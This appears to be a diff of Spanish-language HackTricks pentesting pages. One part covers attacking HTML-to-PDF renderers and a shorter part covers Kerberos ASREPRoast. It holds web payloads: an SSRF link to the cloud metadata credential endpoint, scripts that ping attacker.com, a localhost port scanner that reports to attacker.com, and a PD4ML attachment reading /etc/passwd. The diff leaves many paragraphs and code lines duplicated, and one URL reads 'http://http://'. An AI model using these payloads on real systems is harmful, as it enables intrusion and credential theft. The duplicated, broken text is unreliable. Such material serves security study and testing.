Es importante tener en cuenta que este método solo funcionará si el servidor permite la descarga de archivos adjuntos y si se tiene acceso a los puntos finales de metadatos. Además, es importante asegurarse de que la URL de la página web externa sea segura y no contenga código malicioso que pueda comprometer la seguridad del sistema.
|
||||
```markup
|
||||
<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
||||
```
|
||||
### Retraso del bot
|
||||
|
||||
En algunas situaciones, es posible que desee agregar un retraso a las solicitudes realizadas por su bot para evitar llamar la atención o evitar bloqueos por parte del servidor objetivo. El retraso del bot implica agregar una pausa entre las solicitudes para simular el comportamiento humano y evitar ser detectado como un bot automatizado.
|
||||
|
||||
El retraso del bot se puede lograr utilizando funciones de espera o temporizadores en el código del bot. Estas funciones permiten establecer un tiempo de espera antes de realizar la siguiente solicitud. El tiempo de espera puede ser aleatorio o predefinido, dependiendo de sus necesidades y del escenario de prueba.
|
||||
|
||||
Es importante tener en cuenta que el retraso del bot debe ser realista y no excesivo. Un retraso demasiado largo puede afectar negativamente la eficiencia y la velocidad de su bot, mientras que un retraso demasiado corto puede aumentar el riesgo de ser detectado como un bot.
|
||||
|
||||
Al implementar un retraso del bot, es recomendable realizar pruebas y ajustes para encontrar el equilibrio adecuado entre la velocidad y la discreción.
|
||||
```markup
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
setInterval(()=>{
|
||||
let img = document.createElement("img");
|
||||
img.src = `https://attacker.com/ping?time=${time}ms`;
|
||||
time += 500;
|
||||
}, 500);
|
||||
let time = 500;
|
||||
setInterval(()=>{
|
||||
let img = document.createElement("img");
|
||||
img.src = `https://attacker.com/ping?time=${time}ms`;
|
||||
time += 500;
|
||||
}, 500);
|
||||
</script>
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Escaneo de puertos
|
||||
|
||||
Un escaneo de puertos es una técnica utilizada para identificar los puertos abiertos en un sistema o red. Esto se hace enviando paquetes de datos a través de diferentes puertos y analizando las respuestas recibidas. El objetivo principal de un escaneo de puertos es descubrir servicios o aplicaciones que se estén ejecutando en un sistema y determinar si existen vulnerabilidades que puedan ser explotadas.
|
||||
|
||||
Existen diferentes tipos de escaneo de puertos, como el escaneo TCP, el escaneo UDP y el escaneo SYN. Cada tipo de escaneo se utiliza para identificar diferentes tipos de servicios y vulnerabilidades. Por ejemplo, el escaneo TCP se utiliza para identificar servicios que utilizan el protocolo TCP, como HTTP, FTP y SSH. El escaneo UDP se utiliza para identificar servicios que utilizan el protocolo UDP, como DNS y DHCP. El escaneo SYN se utiliza para identificar sistemas que tienen puertos abiertos pero no responden a las solicitudes de conexión.
|
||||
|
||||
Un escaneo de puertos puede ser realizado tanto por hackers maliciosos como por profesionales de la seguridad informática. Los hackers maliciosos pueden utilizar un escaneo de puertos para identificar sistemas vulnerables que puedan ser atacados. Por otro lado, los profesionales de la seguridad informática pueden utilizar un escaneo de puertos como parte de un proceso de evaluación de seguridad, conocido como pentesting, para identificar posibles vulnerabilidades en un sistema o red y tomar medidas para mitigar los riesgos.
|
||||
|
||||
Es importante tener en cuenta que realizar un escaneo de puertos sin el permiso del propietario del sistema o red es ilegal y puede tener consecuencias legales graves. Siempre es recomendable obtener el consentimiento por escrito antes de realizar cualquier tipo de escaneo de puertos.
|
||||
```markup
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
||||
let img = document.createElement("img");
|
||||
img.src = `http://attacker.com/ping?port=${port}`;
|
||||
});
|
||||
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
||||
let img = document.createElement("img");
|
||||
img.src = `http://attacker.com/ping?port=${port}`;
|
||||
});
|
||||
}
|
||||
|
||||
for(let i=0; i<1000; i++) {
|
||||
checkPort(i);
|
||||
checkPort(i);
|
||||
}
|
||||
</script>
|
||||
<img src="https://attacker.com/startingScan">
|
||||
```
|
||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que se puede hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).
|
||||
Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).
|
||||
|
||||
### Adjuntos: PD4ML
|
||||
|
||||
Hay algunos motores HTML 2 PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
|
||||
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo de clip** para **guardar el adjunto** como un nuevo archivo.\
|
||||
Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
|
||||
Existen algunos motores HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
|
||||
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo de clip de papel** para **guardar el adjunto** como un nuevo archivo.\
|
||||
Capturar la **respuesta en PDF** con Burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Referencias
|
||||
|
||||
{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}
|
||||
|
||||
{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}
|
||||
|
||||
{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
|
||||
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
||||
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -166,7 +203,7 @@ Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,13 +6,13 @@
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -33,9 +33,9 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
El ataque ASREPRoast busca **usuarios sin el atributo de requerimiento de preautenticación de Kerberos (**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)**_.
|
||||
|
||||
Esto significa que cualquier persona puede enviar una solicitud AS\_REQ al DC en nombre de cualquiera de esos usuarios y recibir un mensaje AS\_REP. Este último tipo de mensaje contiene un fragmento de datos cifrados con la clave de usuario original, derivada de su contraseña. Luego, utilizando este mensaje, la contraseña del usuario podría ser descifrada sin conexión.
|
||||
Esto significa que cualquier persona puede enviar una solicitud AS\_REQ al DC en nombre de cualquiera de esos usuarios y recibir un mensaje AS\_REP. Este último tipo de mensaje contiene un fragmento de datos cifrados con la clave de usuario original, derivada de su contraseña. Luego, utilizando este mensaje, la contraseña del usuario se puede descifrar sin conexión.
|
||||
|
||||
Además, **no se necesita una cuenta de dominio para realizar este ataque**, solo una conexión al DC. Sin embargo, **con una cuenta de dominio**, se puede utilizar una consulta LDAP para **recuperar usuarios sin preautenticación de Kerberos** en el dominio. **De lo contrario, los nombres de usuario deben ser adivinados**.
|
||||
Además, **no se necesita una cuenta de dominio para realizar este ataque**, solo una conexión al DC. Sin embargo, **con una cuenta de dominio**, se puede utilizar una consulta LDAP para **recuperar usuarios sin preautenticación de Kerberos** en el dominio. **De lo contrario, los nombres de usuario deben adivinarse**.
|
||||
|
||||
#### Enumeración de usuarios vulnerables (se requieren credenciales de dominio)
|
||||
```bash
|
||||
|
@ -58,7 +58,7 @@ Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
El roasting AS-REP con Rubeus generará un 4768 con un tipo de cifrado de 0x17 y un tipo de preautenticación de 0.
|
||||
El robo de AS-REP con Rubeus generará un 4768 con un tipo de cifrado de 0x17 y un tipo de preautenticación de 0.
|
||||
{% endhint %}
|
||||
|
||||
### Descifrando
|
||||
|
@ -76,7 +76,7 @@ Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbos
|
|||
|
||||
[**Más información sobre el ataque de robo de AS-REP en ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores criptográficos.**
|
||||
|
||||
|
@ -99,7 +99,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la t
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|